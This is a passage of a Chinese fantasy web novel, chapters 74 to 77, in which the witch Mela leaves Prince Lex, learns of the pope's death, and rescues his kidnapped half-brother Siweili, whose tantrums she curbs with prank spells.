说着,那时迟这时快,莱克斯忽然伸手,快准狠地掐住了一条突然从花丛中窜出来的小蛇的七寸,让它只能白白吐着蛇信,却伤害不了任何人。 梅拉常年行走在森林之中,也捉过不少蛇或是□□这类有毒的动物,不管是蛇胆还是□□背上的蟾酥,都是她常用的材料。 因此见到莱克斯捉住了这条不过只有指节长的小蛇,梅拉不仅不害怕,还略微凑近观察了一下它的品种。 “这种蛇好像是无毒的,你不如把它丢回去算了。” 然而没等莱克斯有所动作,梅拉却又改变了主意,“不然你还是把它解决了吧,省得以后吓到路过的侍女。” 于是窜出来吓人的小蛇以一分为二的模样回到了花丛之中。 梅拉与莱克斯则陷入了好一阵的沉默。 刚才的话题,哪怕莱克斯只提到了蛇,可梅拉知道,他的回答中包含的不只是蛇。 人会因为无能为力而感到害怕,忍不住退缩,甚至逃避,但那些曾经能对小莱克斯造成伤害的东西,对如今的莱克斯来说俨然不值一提。 这是莱克斯未曾向梅拉展示过的自负。 也是到了这时候梅拉才意识到,曾经的莱克斯一直在隐忍,他将所有冷硬的棱角都收了起来,才终于成为了黑暗森林中那个任劳任怨、沉默寡言的莱克斯。 只不过因为她一开始就见过了他最狼狈的一面,才觉得他一直是个只会虚张声势的小王子。 “今晚,你对我撒了一个谎,对吗?” 终于,莱克斯率先开口打破了沉默。 早在走廊那会儿,莱克斯就知道梅拉所谓的“没事”是用来搪塞他的借口。 然而哪怕他忍不住问出了口,还是下意识地选择了一个委婉的问法。 也给梅拉留足了继续哄骗他的余地。 哪怕梅拉若无其事地否认,他便不舍得再追问下去。 可梅拉却只是理了理垂落脸颊的发丝,突如其来地承认了:“嗯,我骗了你,其实我当时想告诉你的是,三天后我就会和尤莉尔与塞拉斯离开这座庄园。” “三天后?”莱克斯让这猝不及防到来的分别打了个措手不及。 一阵风吹过,烛台上的火焰也跟着跳了跳。 “到时候,你就不要来送我和塞拉斯了,尤莉尔还一直不知道这座庄园里住着她最讨厌的姓努伦格尔的人呢。”梅拉故作轻松地道。 “……好。” 沉默片刻后,莱克斯答应了下来。 第74章 第 74 章 [教皇之死] 三天的时间转瞬即逝。 梅拉早就将她们要提前离开的决定告诉了琼斯夫人, 因此一大早,就有一辆马车停在了庄园的大门前,负责送她与尤莉尔离开。 尤莉尔率先上了马车,反倒是梅拉在马车前停留了一会儿, 接过了琼斯夫人递来的薄薄一张纸, 上头还盖有绝对不可能伪造的家徽印章。 “尽管不知道你们之后打算去哪,但这相当于一份以弗霍斯特家族作为担保的通行凭证, 有了它, 你们就可以光明正大地前往其它领地了。”见梅拉面露不解, 琼斯夫人解释道。 不是所有想要离开领地的人都愿意成为商人的, 毕竟商人这一身份比农民还要不体面, 因此这些人自然要想出别的办法绕开王国的法律。 其中一种办法便是梅拉手上的这份附有家徽的凭证。 这年头,贵族的信誉附含绝对的保障,有了它, 就像是大喇喇地告诉别人, 梅拉背后有偌大的弗霍斯特家族兜底。 当然,琼斯夫人既然敢拿出这样一份凭证给梅拉,就意味着她并不担心梅拉之后万一惹上麻烦连累了他们。 说到底,这么干的贵族并不少,甚至还成了一些小贵族专门敛财的手段,至于拿着这份凭证的人到底和他们的家族有没有关系,大家都心知肚明。 今天你放我的人一马, 明天我放你的人一马, 大家不约而同地睁一只眼闭一只眼,事情也就这么过去了。 “谢谢,这份凭证对我来说很有用。”梅拉妥帖地将这张纸收了起来,转身上了马车, 紫色的裙摆在空中扬起一个漂亮的弧度。 这一幕,让站在二楼窗前的莱克斯尽收眼底。 “既然都站到这来了,殿下为什么不直接送梅拉小姐一程呢?”切尔各走到莱克斯的身旁,同他一起目送载着梅拉与尤莉尔的马车远去。 莱克斯淡然地转身,“没什么好送的,现在只不过是暂时的离别,我们会有再见面的那一天。” 感受到莱克斯的笃定与势在必得,切尔各耸了耸肩,最后向远处已经变成黑色小圆点的马车投去一眼,忽然看到另一个小黑点正不断朝庄园接近。 等黑点逐渐放大,切尔各才看清那是一个骑着马的人。 很快,莱克斯与切尔各便被请到了斐南基的房间,得知了一个刚从王城得来的消息。 * 另一头,梅拉与尤莉尔告别马车后,一路顺利地离开了弗霍斯特领。 有了琼斯夫人给的通行凭证,她们不再需要特意绕远路,而是径直追着艾莉卡的踪迹而去。 只是也不知道怎么回事,她们这样都没追上艾莉卡。 “我、我飞不动了,我们还是先休息一下吧。”塞拉斯气喘吁吁地落到地面上,只差没有直接一屁股坐下去了。 梅拉与尤莉尔也分别找了个树桩子坐下,她们同样累得不行。 梅拉捶了捶发酸的小腿,却发现肩膀也硬得难受。 “我怎么感觉,我们再这么走下去,就快把半个王国给走遍了。” 过了一会儿,塞拉斯恢复了点力气,弱弱地道。 其实梅拉也有这种感觉,黑暗森林位于王国的中南部,她们中间虽然走了不少弯路,但如果将这一路行进的路线画到地图上,就会发现她们正在隐隐接近位于王国最中心的王城。 这让梅拉不得不慎重起来。 艾莉卡为什么要去王城? 难道她有认识的人在那? 还是说……她卷入了梅拉并不想看到的纷争中。 这么想着,梅拉看向尤莉尔,尤莉尔则回了她一个疑惑的眼神。 “走吧,我们争取在日落之前找到一个可以休息一晚的地方。”梅拉没有将心中的猜测说出来,总归尤莉尔哪怕知道了也无济于事,反而还要担心艾莉卡会不会因此陷入更大的危险之中。 可惜今天梅拉她们的运气不太好,塞拉斯提前在天上转悠了一圈,也没在山脚附近找到村落,她们只好折返回去,找了一处狭窄的山洞过夜。 捡来的树枝燃起了熊熊的火光,照亮了这处只够梅拉与尤莉尔一人一面石壁靠坐下来的山洞。 塞拉斯更是连落脚的地方都没有,只能窝在梅拉腿上。 就这么坐着睡了一夜,梅拉根本没睡好,第二天一早不停地在打哈欠。 “喏,吃个果子吧。”尤莉尔从一旁递过来一颗颜色青翠的果子。 梅拉接过来,放到嘴边咬了一口,顿时酸得整张脸都皱了起来。 但酸涩的果子也有好处,那就是梅拉整个人都清醒过来,不再打哈欠了。 于是梅拉把剩下的果子递到同样频频在打哈欠的塞拉斯喙前,毫不设防的塞拉斯还没来得及高兴梅拉的投喂,就酸得将果肉直接吐到了地上。 “呸,呸呸,这是什么果子?怎么会这么酸?” “这是我随手从树上摘的果子,放心,没毒。”纯粹是尤莉尔认为梅拉与塞拉斯如果一直这样没精打采的,今天肯定赶不了太多的路,才特意给她们一颗酸果子提提神。 说着,尤莉尔还让梅拉与塞拉斯千万别跟她客气,她还多摘了好几颗这样的酸果子。只要她们犯困,随时都能找她再来一颗。 一想到嘴巴里还在发酸的舌头,梅拉与塞拉斯瞬间不困了,甚至精神头十足,赶在下午日头最毒的时候来到了一个小镇上。 让梅拉有些奇怪的是,小镇上的人哪怕在说笑,脸上也挂着一抹淡淡的忧愁。 于是梅拉让尤莉尔先去找地方休息,她则假装买东西,在一个摊子前驻足听了好一会儿,可惜并没有听到有人聊到什么有用的事情。 直到晚上,梅拉与尤莉尔在旅舍大厅用餐的时候,店主忽然从柜台后走出来,一脸沉痛地对众人道:“让我们暂时放下手中的刀叉,为伟大教皇阿隆索的逝去默哀三分钟。” 于是梅拉就见大厅中的其他人真的纷纷放下餐具,双手合十,闭上眼,同店主一起默哀。 直到三分钟后,店主发出一声“好了”,他们才睁开眼,若无其事地继续正常用餐。 尤莉尔还是第一次碰上这种场面,她知道这片土地上每个人在名义上都是信仰教会的,但她从没想过真的有人会发自内心地对教会,乃至于由教会人为捧上高处,高高在上俯视世人的教皇充斥着一种无声的狂热。 尤莉尔下意识地摸了摸胳膊,发现自己竟然被激起了一层汗毛。 等到回了房间,她忍不住问梅拉:“刚才那些人都是怎么回事?” “你没听到店主说的吗?教皇死了,他们在为他默哀。”梅拉答道。 “但他们看起来更像是被控制了一样。”尤莉尔的表情像吞了一只苍蝇一样难受。 “或许他们就是被所谓的信仰给控制了呢?” 梅拉回想她在白松镇长大的那些年。 “你可以试着想一下,你一出生,就要被带到教会进行洗礼;等到你长大了想要和心爱的人在一起,则必须要到教会的神父面前许下誓言;之后你老了,老得失去呼吸,不得不躺进了棺材里,也需要在神父的主持下举行葬礼。” “人的一生重要的事情也就这么多,而教会参与了其中的全部,这时候它说什么你都会信的。” 譬如教会说所有人都要像敬爱自己的父亲一样敬爱伟大的教皇。 譬如教会说教皇逝去是对我们的巨大打击,每个人都要为此而感到悲伤。 因此哪怕大多数人这辈子都没有见过教皇一面,在听到教皇离世的消息时还是会有种天塌了的错觉。 这时候他们做出什么来都不奇怪。 包括刚才在旅舍大厅内的由店主主动倡议的默哀时刻。 “……我还是觉得太可怕了,”尤莉尔让梅拉说得打了个冷颤,“每个人的脑子里都应该有自己的声音,而不是让别人的声音来指使我们如何生活。” 梅拉想到教会说人是不能撒谎的,否则会受到其他人的唾弃。 但她想,如果这话让尤莉尔听见了,尤莉尔大概要开始进行反驳了。 如果是善意的谎言,为什么不能说?难道直白地让人受到伤害就是对的了吗?更何况,谁能保证自己一辈子都不撒谎? “不过,可能这就是教会无法容忍女巫存在的原因吧。”梅拉仿佛开玩笑般道。 会思考的人,才不会被教会所谓的教义牵着鼻子走。 没看到那些受过教育的贵族们一个比一个会装模做样,看起来接受了教会的信仰,其实根本没把教会那套人要受苦才能获得幸福的说辞当回事吗。 如果人要受苦才能获得幸福,为什么他们这些贵族一出生就含着金汤匙,吃着一辈子都享受不尽的美食,一套套换着数不清缝了多少珠宝的华丽衣服。 只要不是落魄到无路可走的地步,比如被国王削去了贵族头衔,他们一辈子都不可能尝到苦头。 更不可能真心实意地信仰教会。 再加上普通人就这么多,让贵族们盘剥了,就没法再让教会狠狠刮下一层油水来,因此贵族与教会之间也有着不小的矛盾。 不知怎的,梅拉久违地又一次想起了菲斯特子爵和格奥鲁多主教。 第75章 第 75 章 [意外救下西维里] 半夜, 忽然响起一阵雷声将梅拉从睡梦中惊醒。 冷白的光一闪一闪地打在床铺上,窗外很快下起了雨。 “啪”的一声,没关紧的窗子被风撞开,雨水瞬间打了进来。 不用想, 一定是因为塞拉斯昨晚回来时又粗心大意地留了条窗缝。 梅拉不得不起身前去关窗。 豆大的雨珠砸在脸上, 风将梅拉的头发吹得狂舞,她一面关窗, 一面随意地往下一瞥, 便看见一行四五个人匆匆地敲开了旅舍的大门。 他们的身后还停着两辆载满了货物的马车。 或许是来的路上遇到了意外, 车盖都没了, 因此梅拉能够清楚地看见车内堆着一个个木桶, 也不知道里面装了什么东西。 正当梅拉想要收回视线,却发现余光中某个木桶好像动了一下。 奇怪,是错觉吗? 梅拉不由又往马车那看了两眼, 结果就和其中一个抬起头的男人对上了目光。 他大概意识到了梅拉在看他身后的马车, 眼神一下子变得凶恶起来。 梅拉假装被吓到似的彻底关上了窗,却在窗后陷入了沉思。 总觉得刚才那个男人的眼神比起威胁,更像是那些木桶里装了什么见不得人的东西,所以害怕她看出异样来。 过了一会儿,梅拉听到楼梯处传来一阵动静,大概是店主领着那几个男人上楼来了。 巧的是,他们恰好住在这一层最末尾的几个房间。 “梅拉……你不睡觉站在窗边干什么?”塞拉斯在枕头上翻了个身, 潜意识中觉得身边似乎有点太空了, 于是它迷迷糊糊地睁开眼,果然看到梅拉并不在床上。 “没什么。” 梅拉就着掀开的被子重新躺回床上,决定就算要多管闲事也得等她睡醒了再说。 或许是心中存着事,几乎是雨一停, 梅拉也跟着醒了过来。 这会儿离太阳升起的时候还早,除了刚起床为客人们劳作的店主夫妇,就只有梅拉一个人从楼梯上走了下来。 她来到旅舍后头的院子里,轻而易举地找到了昨夜见到的那两辆没了车盖的马车。 梅拉绕着两辆马车转了一圈,没发现有什么问题,以她的听力,若是车内传出什么动静,不可能听不见。 正这么想着,其中一辆马车内还真的传来了细微的声响。 这声音很闷,也很轻,一不留神就容易把它给忽略了。 梅拉谨慎地左右观察了一圈,发现暂时还没有其他人到这里来后,直接拉开了车厢门。 然而就在她开门的瞬间,那声音忽然停了。 梅拉只能凭着感觉,找到有可能是声音来源的几个木桶,逐一打开。 前两个木桶打开后,她无声地惊讶了一下,里头装的竟然是昂贵的香料。 等开到了第三个木桶,梅拉更觉得惊讶了,里头竟然空空如也,只有桶壁上留下了些许香料的粉末。 面对即将要打开的第四个木桶,梅拉不免有些期待,这里头装的又是什么呢? 然后她就猝不及防地与一双发红的眼睛对上了视线。 * “老大,我们该走了。” 如果梅拉在这里,就能发现这个低眉顺眼叫着另一个灰发男人“老大”的正是昨晚与她对视的那个男人。 这会儿他为了迁就灰发男人的个子,甚至一直微微弯着腰,做足了卑躬屈膝的姿态,好像全然没有察觉身后投来的两道隐隐带着鄙夷的目光。 “嗯,你说的没错,我们早点走,最好快点离开这里回到加德纳领。只要完成了伯爵交代的任务,好处当然少不了你的。” 灰发男人却显然很吃这一套,脸上露出了志在必得的神色。 他当然觉得一切十拿九稳了。 三天前,灰发男人收到加德纳伯爵秘密让人送来的消息,让他务必想办法在不惊动任何人的情况下将西维里王子带出王宫。 作为深受西维里信任的侍从,灰发男人只需要装作不经意地鼓动两句,西维里立刻像只愚蠢的鱼儿一样咬钩,决定背着伊莱雅偷偷离开王宫。 本来以西维里一个六岁孩子的能力,是不可能在伊莱雅的眼皮子底下溜出去的,但谁让伊莱雅宠他呢。 对于他非要偷溜出去,试图游说斐南基给自己当老师的行为,知晓他只是想和莱克斯较劲的伊莱雅便睁一只眼闭一只眼,随他去了。 反正有伊莱雅安排的人偷偷跟在身后,一路护送他来回,伊莱雅并不担心西维里会出事。 于是这一回,西维里依旧轻车熟路地让侍女给他准备好马车,就这么大摇大摆地离开了王宫。 当然,他之所以能如此顺利,全都是灰发男人的功劳。 如今正是情况特殊的时候,如果不是因为忙不过来,伊莱雅恨不得把西维里拴在自己眼前,又怎么可能放他离开王宫。 至于伊莱雅得知西维里失踪了,气得砸了好几个花瓶,将惴惴不安的侍女们全部拖了下去,那就不在灰发男人的考虑范围内了。 总之,载着西维里的马车就这么一路驶离王宫,离王城越来越远。 想着还要花两天的时间才能抵达弗霍斯特庄园,西维里吃完点心后,还在马车上悠哉悠哉地睡了一觉。 按照他以往的经验,等他睡醒了,就能在沿途最大的旅舍内歇一晚。 然而等西维里醒来,却发现自己被人用绳子捆住了手脚,用手帕塞住了嘴,还装入了一个黑乎乎的木桶里,只有刻意留出的一条缝漏了点空气进来,防止他被不小心憋死。 西维里意识到自己被不知道什么人捉了起来,第一反应不是害怕,而是气坏了。他愤怒地蹬着腿,在木桶里闹出了不小的动静,以为这样就能让人来救他。 平时他只要这么一闹,顿时就有数名侍女围上来哄他,仿佛他要星星要月亮都能给他摘下来。 可惜这一次压根没人搭理愤怒的西维里。 听见身后传来的动静,灰发男人不耐烦地瞥了一眼前来汇合的手下,其中最谄媚的那一个立刻狠狠地用鞭子抽了一道西维里所在的木桶,恶声恶气地警告他不许再闹。 西维里有时候连伊莱雅说的话都要顶撞,又怎么可能听从别人的命令,闻言闹得更狠了。 对付一个小崽子罢了,不需要用什么花里胡哨的手段,灰发男人直接饿了西维里一天,饿坏了,就没力气闹腾了。 果然,一天之后,西维里彻底安静了下来。 如果不是昨夜忽如其来的大雨,携手而来的风把车盖都吹飞了,他们一行人才不会半道改路,途径这个没多少名气的小镇。 灰发男人巴不得快点赶回加德纳领,到加德纳伯爵面前复命。 于是他们一行四个人,两两驾着一辆马车离开了,完全没有察觉到旅舍二楼的一道窗缝后,一闪而过的幽绿双眸。 目送那四个男人离开后,恰好此时塞拉斯也将尤莉尔从她的房间内喊了过来。 尤莉尔突然让塞拉斯敲了窗,还有些摸不着头脑,有心想问塞拉斯发生了什么事,就见它吞吞吐吐的,不肯明说。 “到底是什么事这么神神秘秘的?”尤莉尔敲开梅拉房间的门,嘴角的笑意在看见梅拉身后的男孩时僵住了。 在这片土地上,唯有继承了努伦格尔这一血脉的孩子才会拥有与众不同的金发金眸,毫无疑问,那个坐在椅子上,面对尤莉尔也不忘高抬下巴保持倨傲的男孩正是王室的一员。 “长话短说的话就是我救下了一个孩子,他刚好姓努伦格尔。”梅拉慢悠悠地道,好像一点也没看出尤莉尔的脸色不对劲。 一旁的塞拉斯默默地用翅膀捂住了眼睛,生怕尤莉尔和梅拉吵起来的时候殃及无辜的它。 早在看到梅拉领了西维里回房间时,塞拉斯就惊讶地瞪大了眼睛。 它用翅膀指着西维里,结巴了半天:“他他他,他难道就是莱克斯的弟、弟弟?” 尽管后来塞拉斯仔细打量西维里,也没觉得他的长相哪里和莱克斯像了,但努伦格尔王室这标志性的金发金眸实在是太好认了,完全是毋庸置疑的血缘关系。 “没错。”梅拉也没想到自己随手一救,就救了莱克斯的弟弟,一时间神情有些复杂。 她并不想掺和所谓的王位之争,但现在看来她简直被这泥潭拽得越来越深。 “你认识那个讨厌鬼?”听到莱克斯的名字,西维里顿时横鼻子竖眼的,对塞拉斯没好气地道。 “你才是讨厌鬼!我和梅拉可是站在莱克斯这一边的!”塞拉斯坚定地表明了立场。 论先来后到,哪有西维里说话的份。 “你你你,你竟然也是那个讨厌鬼的帮凶!”西维里往后一跳,用手指着梅拉,一副受到巨大打击的模样。 他怎么也没想到,救了自己的梅拉竟然和莱克斯是一伙的,该不会梅拉救下他也是别有用心吧? “你你你,你个没礼貌的小鬼,就算我和莱克斯认识,也不能否认我是你的救命恩人,你给我好好说话。”梅拉当初都没有惯着莱克斯的王子脾气,这会儿就更不可能惯着西维里了。 话说回来,也不知道伊莱雅怎么养的孩子,竟然把西维里教得如此讨人厌。 哪怕被人救了也不会好好道谢,反而趾高气扬地对梅拉说“我记住你的功劳了,之后一定会给你恩典的”,听得梅拉顿时敲了他脑袋一记,这家伙和小时候的莱克斯比起来简直差远了。 “你竟然敢敲本殿下的脑袋!”西维里抱着头呜咽一声。 “敲了,所以呢?你要是再不肯好好说话我就接着敲。”梅拉语气森森地威胁道。 她以前偶尔称呼莱克斯“王子殿下”是故意揶揄,想看他无可奈何的表情,而不是真的把他当高高在上的王子来仰望了。 王子又如何?就算是国王来了梅拉也不会因此而对他高看一眼。 让梅拉收拾了一通后,西维里总算收敛了一点脾气,起码知道安安分分地坐在椅子上,听从梅拉的安排了。 梅拉看向塞拉斯,“你去把尤莉尔叫过来,作为同伴,我必须得将西维里的事告诉她。” 然而塞拉斯磨磨蹭蹭的,就是不肯多挪几步,“非得告诉她吗?你之前不让莱克斯送我们,就是担心尤莉尔见了他会生气,这会儿怎么又要让她见到西维里了。” 难道梅拉就不怕尤莉尔见了西维里后大发雷霆吗? “大不了,大不了我们给点钱,让这讨人厌的小鬼自己去找靠谱的人不行吗?”塞拉斯自以为这个提议很不错,双眼亮晶晶地看着梅拉。 “你觉得,让一块黄金自己在街上跑,是会将它物归原主的人多,还是将它据为己有的人多?”梅拉挑眉,问了塞拉斯一个问题。 显然,西维里就是这样一块引人注目的大黄金。 偏偏他的金发金眸太特殊,绝不会叫人错认。 否则梅拉也不必非要把这事告知尤莉尔,想要带着西维里一起赶路,总得经过尤莉尔的同意才行。 “好了,人都救了,也不差多带他走一段路的功夫了。”梅拉戳了戳塞拉斯的脸,没有说她们本来也要往王城去,“快去吧。” “那好吧。”塞拉斯不情不愿地答应下来,谁让梅拉是它的主人呢?它也只能宠着她了。 说到底,都怪西维里是个麻烦精。 作为坚定支持莱克斯的一员,塞拉斯才不要给西维里好脸色看,尤其他甫一见面就对它没好气,真是太没有教养了! 第76章 第 76 章 [教训西维里] 梅拉要带上西维里同她们一起赶路这件事, 果不其然遭到了尤莉尔的激烈反对。 她头一回对着梅拉冷笑出声:“我没有现在就诅咒这个金发金眼的臭小鬼以最倒霉的方式丧命,已经是我对一个孩子能保留的为数不多的仁慈了。” “如果这样能让你开心一点的话,请便。”梅拉好像真的认真思考了一下尤莉尔的话,然后道。 “你!”结果却把尤莉尔亟待发泄的情绪堵得没办法再继续发作下去。 别人不知道, 梅拉和尤莉尔这两个货真价实的女巫难道还能不知道所谓“女巫的诅咒”是怎么回事吗。 什么被女巫诅咒了的人立刻就会倒大霉, 还会连累全家一起出事之类的,完全是普通人出于恐惧杜撰出来的事实, 假如女巫的诅咒真这么有用的话, 现如今王位上坐着的人就不该还姓努伦格尔了。 尤莉尔刚才也就是气昏头了才会放这样的狠话。 现在让梅拉噎住, 她反倒冷静了几分。 “你为什么非要帮他?” 不想梅拉的理由其实很简单, “你都说了, 他还是个孩子。” 大多数人对老人和孩子总是会多一点包容,就像尤莉尔再嘴硬,也没有真的将能让人感到痛苦的咒语往西维里身上招呼一样。 “……随便你吧, 反正我是不会管他的。” 看在梅拉坚持的份上, 尤莉尔最终还是妥协了。 “那我们这就准备出发吧。”梅拉笑眯眯地道,她就知道尤莉尔不可能真的狠下心拒绝。 当然,在此之前,还得买件斗篷把西维里那招人眼的头发给遮住才行。 梅拉好不容易搞定了尤莉尔,结果西维里却突然反悔,不肯和她们一起走了。 他刚才是因为劫后余生,脑子还没转过弯, 这会儿却总算反应过来梅拉和尤莉尔的身份不一般, 她们明显不是普通人,连带着那只能和人交流的鸽子都在明晃晃地告诉他: 他遇上了两个可怕的女巫。 听听,其中一个女巫还叫着要诅咒他! 这让西维里怎么还敢和她们一起走。 万一梅拉也对他不怀好意呢? 毕竟她可是站在莱克斯那头的! 那就是他西维里的敌人无疑! “你在想什么?”梅拉奇怪地上下打量了一番梗着脖子假装硬气的西维里,“我好像没有询问你的意见吧?” 也就是说, 不管西维里想不想跟她们走,他都得走,因为梅拉压根不打算给他选择的权力。 “凭什么!”西维里顿时像被人踩到痛脚的蚂蚱一样蹦了起来。 “就凭你没办法在我的眼皮子底下溜走。”梅拉毫不客气地拎起西维里的衣领,“走了,不要浪费我们的时间,今天还没开始赶路呢。要是晚上我们没能成功抵达下一个小镇,你就得在黑暗潮湿的山洞里过夜了。” “说不定半夜还会有蛇爬进来哦。”梅拉笑吟吟地吐出威胁。 西维里观察她说这番话时的神情不似作假,下意识地缩了缩脖子,一下子就安静了。 他可不想半夜睁开眼和一条蛇对上视线。 当然,想要从小受伊莱雅教导,觉得所有人都得哄着他、让着他的西维里彻底安分下来是不可能的。 他不是嫌梅拉租的马车太小,就是嫌梅拉住的旅舍送上来的食物太差,碰上要长时间步行的情况,更是耍赖般坐在一颗大石头上不愿意走了。 “我就说不该带他一起。”尤莉尔冷漠地看着西维里闹脾气,面对梅拉时便颇有种扬眉吐气的感觉。 “我也觉得这臭小鬼比起莱克斯差远了。”塞拉斯落在头顶的树枝上,盯着西维里眼睛不是眼睛,鼻子不是鼻子的,巴不得劝梅拉把他丢在这荒郊野外,让他多吃点苦头。 然而梅拉看上去竟然一点也不生气,甚至饶有深意地问了西维里一句:“真不肯走?” “没错!我就不走!” 尽管西维里的直觉隐隐在提醒他,最好不要和梅拉作对,但他长到这么大,连努伦格尔九世都没对他黑过脸,又怎么可能愿意向梅拉低头。 “好吧,那我们就在这休息一会儿。”梅拉对尤莉尔道。 尤莉尔原本想说点什么,可她又觉得梅拉似乎并不是真的打算惯着西维里的任性脾气,于是把话咽回了肚子里,等着看梅拉准备怎么收拾这小崽子。 西维里还以为梅拉对自己妥协了,正得意洋洋地哼哼呢,结果忽然开始不停地打喷嚏。 “哈湫!” “哈湫!” 不管西维里如何努力,都没法让这喷嚏停下来。 他的鼻子开始一抽一抽地疼。 “这是什么咒语?我怎么好像从来没有听说过?”尤莉尔难得多看了西维里几眼。 要知道这两天她可是连正眼都不乐意给西维里一个,总是目不斜视地走在一旁。 梅拉反倒挑了挑眉,有些意外,“喷嚏咒,一个会让人不停打喷嚏的小咒语,你竟然没从艾莉卡那听说过吗?我可就是从她那里学来的。” “……姨妈才不会教我这种只能用来恶作剧的小把戏。”尤莉尔佯作不在意地别开脸。 梅拉知道,她这是老毛病又犯了,正在吃艾莉卡和她的醋。 “可恶的女巫,我命令你快解开我身上的咒语!” 西维里听了刚才梅拉与尤莉尔的那番话,立刻知道自己这副狼狈的样子是梅拉干的,只觉得怒不可遏,恨不得跺脚示威。 可惜他一连又打了好几个喷嚏,只惹来梅拉毫不留情的嘲笑。 “知道我是女巫还敢跟我闹脾气?在识趣这方面,你真是骑马都赶不上莱克斯。” “闭嘴!闭嘴!我才不可能输给那个可怜虫!如果不是他的母亲抢先成为王后,我一定才是最名正言顺的王储殿下!” 这下哪怕是打个不停的喷嚏,也无法阻止西维里气急败坏地大骂出口。 他从来没有见过莱克斯。 碍于伊莱雅的威严,也没人会主动同西维里提起他还有个哥哥,尤其莱克斯当年的失踪显然与伊莱雅脱不开关系。 无论怎么说,莱克斯失踪,西维里都是最大的受益者,不是伊莱雅不痛不痒地掉几滴眼泪,就能抹除众人心中的怀疑的。 偏偏西维里曾偷听到两个侍女躲在角落里说话,说他哪哪都比不上莱克斯殿下,难怪一直没有被国王陛下立为新的王储。 西维里不信。 他跳出来大声质问那两个侍女,莱克斯是谁。 那两个侍女顿时瑟瑟发抖地闭上嘴,一句话也不肯说了。 西维里只好又气势汹汹地去找他的老师福森·加德纳,问他莱克斯是谁。 听到莱克斯这个名字,福森从来笑容和善的表情变了,他用一种怜悯的目光看着西维里,沉默半晌,还是道,“莱克斯殿下,是您的兄长,也是曾经人人称赞的王储殿下。” “不可能!母亲说了,她只有我这一个孩子!”西维里不信。 “因为莱克斯殿下他的母亲不是伊莱雅殿下,而是已逝的莉莉勒斯殿下。”福森叹息道。 “你是说,父亲在我的母亲之前,还娶了另一个女人当王后?”西维里惊讶得连连后退,满脑子都是这怎么可能。 伊莱雅明明总是跟他说,她和努伦格尔九世好不容易才打破所有阻碍在一起,而他则是他们最珍爱的孩子,未来还要把整个王国都交给他。 至于为什么现在还不让他成为王储,只是因为他的年纪还太小了。 “不行,我要去问母亲!我只相信她说的话!” 西维里红着眼眶跑出了书房,急促的脚步声在空旷的走廊内回荡,一路上还撞倒了好几个侍女。 然而伊莱雅的反应让西维里失望了,她黑着脸,双手紧紧攥住他的肩膀,沉声道,“我亲爱的小里尔,你不需要在乎一个死人,他已经没办法挡在你的面前,阻止你坐上王座了。” 也就是说,他真的有一个同父异母的哥哥?西维里怔住了。 并且这个哥哥还得到了努伦格尔九世以及其他人的认可。以至于他都失踪了这么多年,仍然有人私下里为他不值。 从那天之后,西维里忽然像着了魔一样打听莱克斯的过往,甚至把让斐南基承认他,成为他的老师,亲口说出莱克斯不如他当成了一定要完成的目标。 但谁要让西维里听到他不如莱克斯这种话,就会让暴怒的西维里用随手抓起的东西狠狠地砸个头破血流。 殊不知,他这么做只会让众人在心底更加怀念莱克斯还在的时候。 “你要是再闹下去,信不信我还有痒痒咒、狂笑咒能轮着让你来一遍?” 梅拉不知道西维里为什么突然又来了劲,不过对付西维里这种被宠坏了的孩子,她有的是经验。 于是她气定神闲地丢出一句,就看到西维里像被掐住脖子的鸭子一样戛然而止。 西维里头一次懂得了什么叫识趣。 那就是哪怕心里再怎么不服,也不要和能折磨自己的人对着干。 梅拉还真的让他轮着体验了一回浑身发痒,怎么挠都没用;以及狂笑不止,嗓子都笑得有些沙哑了为止。 尤莉尔叹服地看着梅拉教训西维里,简直大开眼界。 原来这些咒语虽然看起来杀伤力不强,但教训人真的很好用。 这不,西维里整个人都乖得像个鹌鹑似的,只要梅拉好整以暇地盯着他,他就马上把瘪了的嘴角扯平,不敢再折腾了。 所以说,小孩子不听话,纯粹是大人惯出来的。把他收拾一顿就老实了。 第77章 第 77 章 [西维里逃走] “怎么回事?前面为什么有这么多人?” 尤莉尔停下脚步。 只见平坦的道路上排了长长的队伍, 不少人顶着高悬的烈日,缓慢地往前挪动着。 “你们先在这里等着,我去队伍中打听一下到底发生了什么事。”梅拉转瞬间便有了决定。 正好,排在队伍最末尾的是名头发花白戴着头巾的老妇人, 面容看上去亦十分和蔼, 想来应该不会拒绝梅拉的搭话。 当然,梅拉也没有一上来就同老妇人搭话, 这样实在太过刻意。 因此她跟着排了好一会儿队, 才佯作抱怨地道:“天气这么热, 真想快点进城啊。” 说着, 梅拉看向老妇人身边, 紧紧拽着她的裙子,一脸怯生生的小女孩,“大人忍一忍也就算了, 孩子怎么忍得下去, 瞧瞧这脸,都晒得像让碳烧过了似的。” 闻言,老妇人跟着往自家孙女的脸上看去,也看见了她脸颊上晒得通红的痕迹,顿时露出一副心疼的表情。 可她却只能叹口气,安慰孩子再忍忍。 “也不知道这样的日子什么时候才能过去。”梅拉趁热打铁,继续道。 这下她终于勾起了老妇人的谈性, “我看还有得折腾呢。” “就是啊。三天前, 忽然说整座城都要戒严,好像是贵族老爷们要找什么人。结果三天过去了,人依旧没找着。” 听见背后有人闲聊,排在老妇人前头的中年男人忍不住转身, 同她们攀谈起来,毕竟一直站在烈日底下苦等确实无聊透顶。 他咂了咂嘴,“要我说,说不定他们要找的人早就跑到别的地方去了,这会儿不过是在白费劲。” 找人? 梅拉垂下眼帘,心中隐隐有了一个猜测。 若是不出意外的话,此番戒严为的应该是寻找西维里的下落吧。 如果西维里没有遇到她和尤莉尔的话,大概就像中年男人说的,三天过去早就被带往了其他地方,怎么可能还留在这座城里。 偏偏这会儿她们又把西维里给带了回来。 这可真是守株待兔成功了。 “说起来,我听说为了找人,王城那边还来了个大人物呢。”中年男人神神秘秘地压低了声音道。 能知道别人不知道的八卦,对于普通人来说那就是最涨面子的事,自然恨不得跟遇见的所有人分享,哪怕中年男人明明只是第一次见到梅拉。 “哦?是什么大人物?”梅拉同样十分识趣地给他捧场。 “好像是什么很重要的大臣吧?”中年男人挠了挠头,大人物具体叫什么,他一个天天进城给杂货店帮工的小角色怎么可能打听得到。 但是他生怕梅拉不相信,着重强调了一句,“他可是来自那个鼎鼎有名的加德纳家族。” 越是靠近王城,对教会的信仰越浓,因此以虔诚出名的加德纳家族自然在这些王城附近的城池中颇为有名。 “竟然是加德纳家族的人。”梅拉故作惊讶,接着有一搭没一搭的吹嘘了中年男人几句。 又过了好一会儿,她才装作要中暑的样子,迫不得已地离开了队伍。 “回来了?” 